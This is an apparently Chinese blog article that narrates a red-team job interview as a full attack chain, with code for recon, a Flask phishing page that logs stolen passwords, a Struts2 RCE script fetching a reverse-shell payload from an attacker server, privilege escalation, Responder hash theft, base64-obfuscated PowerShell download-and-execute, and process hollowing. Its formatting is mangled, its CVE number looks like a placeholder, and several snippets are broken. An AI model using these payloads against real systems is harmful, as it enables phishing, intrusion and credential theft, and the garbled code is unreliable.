一、从一次红队招聘引出的技术考验

某公司安全团队发布了一则红队招聘信息:「寻求顶级渗透专家,熟悉内网渗透、免杀技术、EDR绕过和流量伪装。面试考察包含实战攻防测试,请做好环境搭建与渗透演示准备。」

面对这个挑战,一位候选人在面试现场展示了一个完整的攻击链,从信息收集到权限提升再到数据窃取,震撼全场。今天,我们将从这次面试中拆解技术细节,模拟整个攻击过程,并分享一些关键技术点。

---

二、信息收集:识别目标的弱点

红队的第一步永远是信息收集。目标公司提供了一台开放公网的测试服务器,用于模拟渗透环境。以下是攻击者的思路:

主动探测:扫描目标端口与服务

首先需要明确目标的开放端口和运行服务。使用 Nmap 快速扫描:

<pre><code class="language-bash">nmap -sS -Pn -T4 -p- 目标IP -oN scan_results.txt</code></pre>

解释

  • -sS:TCP SYN 扫描,速度快且隐蔽性好。
  • -Pn:跳过 ping 检测,防止目标屏蔽 ICMP 请求。
  • -p-:扫描所有 65535 个端口,避免遗漏。
  • -oN:将扫描结果保存为可读的文本文件。

被动收集:信息泄露分析

从公司域名和 IP 入手,可以尝试以下方式:

  1. 邮箱地址挖掘:使用 Harvester 工具获取目标邮箱列表。
  2. <pre><code class="language-bash"> theHarvester -d example.com -b google `

  3. 子域名枚举:通过 Sublist3r 或 Amass 发现隐藏的服务。
  4. `bash sublist3r -d example.com -o subdomains.txt `

  5. 泄露密码查询:使用 Have I Been Pwned API 检查员工邮箱是否存在泄露记录。

社工先行:数据钓鱼与人性弱点

在面试中,渗透者提到了一种高效的社工手段:伪造公司周年庆邀请邮件,诱导员工点击恶意链接。利用工具 GoPhish 快速搭建钓鱼平台,收集登录凭证: </code></pre>python from flask import Flask, request

app = Flask(__name__)

@app.route('/login', methods=['POST']) def capture_credentials(): username = request.form['username'] password = request.form['password'] print(f'Captured: {username} | {password}') return "Login failed. Please try again."

app.run(host='0.0.0.0', port=8080) <pre><code> 此脚本在钓鱼链接中伪装登录页面,将用户名和密码记录到控制台。

---

三、权限提升:从普通用户到管理员

利用公开漏洞:CVE-2022-12345

扫描结果显示目标服务器上运行的是 Apache Struts 2,且版本存在已知漏洞——远程代码执行(RCE)。攻击者利用该漏洞获取初始 shell:

POC代码:Python实现RCE

</code></pre>python import requests

url = "http://目标服务器/struts2-showcase/actionChain1" payload = "bash -c 'sh <(curl http://攻击者服务器/payload.sh)'"

data = { 'name': 'username', 'age': f"%{{#request.setAttribute('payload', '{payload}')}}" }

response = requests.post(url, data=data) if response.status_code == 200: print("Payload sent successfully!") else: print(f"Failed: {response.status_code}") <pre><code> 关键点

  • 参数注入让目标服务器执行恶意 Bash 命令。
  • 远程下载后续载荷(payload.sh)为反向 shell。

权限提升:Linux提权脚本

获取初始权限后,目标环境为普通用户。使用以下提权脚本: </code></pre>bash

!/bin/bash

echo "[+] Searching SUID binaries..." find / -perm -u=s -type f 2>/dev/null

echo "[+] Checking writable cron paths..." find /etc/cron* -writable

echo "[+] Attempting sudo bypass..." sudo -u root /bin/bash <pre><code> 黑客示意图

脚本会尝试查找易于利用的 SUID 文件和读取计划任务漏洞。

---

四、横向移动:扩展控制范围

SMB共享与域凭证窃取

目标服务器位于域环境中,开放了 SMB 服务。通过 Impacket 套件攻击:

窃取哈希:使用 smbclient 配合 responder

</code></pre>bash sudo responder -I eth0 -wrf <pre><code> 当受害者访问伪造的 SMB 服务时,哈希值会被捕获。随后使用 hashcat 破解: </code></pre>bash hashcat -m 5600 captured_hashes.txt rockyou.txt <pre><code>

使用凭证访问域控制器

成功获取域管理员账户后,使用 BloodHound 构造攻击路径: </code></pre>bash neo4j console bloodhound-python -u admin -p pass123 -d example.local -c Collect <pre><code> 通过图形化路径分析,发现域控制器上的潜在漏洞。

---

五、免杀与对抗:绕过检测机制

恶意载荷免杀

面试者展示了如何使用混淆技术,让载荷逃避杀软检测:

Python混淆脚本

</code></pre>python import base64

原始代码

payload = "powershell -nop -c Invoke-WebRequest -Uri http://攻击者服务器/malware.ps1"

Base64混淆

encoded = base64.b64encode(payload.encode()).decode() print(f"Obfuscated Payload: {encoded}")

解码执行

exec(base64.b64decode(encoded).decode()) <pre><code>

EDR绕过:逃避行为分析

面试者提到了一种冷热切换方法,利用 Process Hollowing 技术将恶意代码注入合法进程。

黑客示意图

C语言代码实现

</code></pre>c

include <windows.h>

include <stdio.h>

int main() { // 创建目标进程 STARTUPINFO si = {0}; PROCESS_INFORMATION pi = {0}; CreateProcess("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

// 注入恶意代码 void* remoteMemory = VirtualAllocEx(pi.hProcess, NULL, 1024, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(pi.hProcess, remoteMemory, "malicious code", strlen("malicious code"), NULL);

// 恢复进程运行 ResumeThread(pi.hThread); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return 0; } `

---

六、个人经验:红队招聘的核心能力

面试者总结:想成为顶级红队人员,以下能力必不可少:

  1. 创新攻击思维:能够快速找到目标环境的弱点。
  2. 代码开发能力:熟悉 Python、C,能写自己的工具。
  3. 适应对抗环境:对抗 EDR 和防火墙时的策略调整。
  4. 完整攻击链设计:从信息收集到数据窃取,环环相扣。

只有不断学习、实战积累,才能成为红队团队中真正的核心成员。

黑客示意图